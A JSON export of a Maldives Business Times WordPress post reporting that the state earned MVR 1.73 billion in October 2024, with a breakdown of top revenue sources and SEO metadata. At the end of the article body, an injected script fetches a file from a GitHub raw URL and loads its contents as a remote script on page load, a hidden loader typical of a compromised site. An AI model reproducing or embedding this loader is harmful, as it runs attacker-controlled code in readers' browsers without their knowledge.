{"id":12931,"date":"2024-11-17T19:23:56","date_gmt":"2024-11-17T14:23:56","guid":{"rendered":"https:\/\/mbt.mv\/?p=12931"},"modified":"2024-11-17T19:23:56","modified_gmt":"2024-11-17T14:23:56","slug":"state-earns-mvr-1-73-bn-revenue-in-october-2024","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=12931","title":{"rendered":"State earns MVR 1.73 Bn revenue in October 2024"},"content":{"rendered":"<p>The Maldives government earned MVR 1.73 billion in revenues in October 2024, reports Maldives Inland Revenue Authority (MIRA).<\/p>\n<p>According to MIRA, the earnings observed in the previous month this year is a 14.2% decrease compared to the corresponding month last year. This decrease is owed to the lack of a payment deadline extension in October this year unlike the same month in 2023.<\/p>\n<p>Despite this, the revenue collection in October 2024 is still a significant 30.5% increase from initial projections. MIRA said this primarily due to higher GST collections along with receipts from Land Acquisition and Conversion Fee, increment in Green Tax, Expatriate Quota Fee, and Airport Taxes and Fees.<\/p>\n<h3>Top Revenue Contributors<\/h3>\n<ol>\n<li><strong>GST:<\/strong> 63.1% | MVR 1.09 billion<\/li>\n<li><strong>Income Tax:<\/strong> 6.7% | MVR115.5 million<\/li>\n<li><strong>Land Acquisition and Conversion Fee:<\/strong> 5.5% | MVR 94.7 million<\/li>\n<li><strong>Green Tax:<\/strong> 4.4% | MVR 77.07 million<\/li>\n<li><strong>Airport Development Fee:<\/strong> 4.4% | MVR 75.8 million<\/li>\n<\/ol>\n<p>The total tax revenues collected in October 2024 stood at MVR 1.36 billion, while the total non-tax revenues collected in the month stood at MVR 367.5 million.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives government earned MVR 1.73 billion in revenues in October 2024, reports Maldives Inland Revenue Authority (MIRA). According to MIRA, the earnings observed in the previous month this year is a 14.2% decrease compared to the corresponding month last year. This decrease is owed to the lack of a payment deadline extension in October<\/p>\n","protected":false},"author":4,"featured_media":12932,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2424,2428],"tags":[],"class_list":{"0":"post-12931","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-finance","8":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>State earns MVR 1.73 Bn revenue in October 2024 - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=12931\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"State earns MVR 1.73 Bn revenue in October 2024 - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The Maldives government earned MVR 1.73 billion in revenues in October 2024, reports Maldives Inland Revenue Authority (MIRA). According to MIRA, the earnings observed in the previous month this year is a 14.2% decrease compared to the corresponding month last year. This decrease is owed to the lack of a payment deadline extension in October\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=12931\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-17T14:23:56+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=12931#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=12931\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"State earns MVR 1.73 Bn revenue in October 2024\",\"datePublished\":\"2024-11-17T14:23:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=12931\"},\"wordCount\":161,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=12931#primaryimage\"},\"thumbnailUrl\":\"\",\"articleSection\":[\"FINANCE\",\"PUBLIC SECTOR\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=12931#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=12931\",\"url\":\"https:\/\/mbt.mv\/?p=12931\",\"name\":\"State earns MVR 1.73 Bn revenue in October 2024 - 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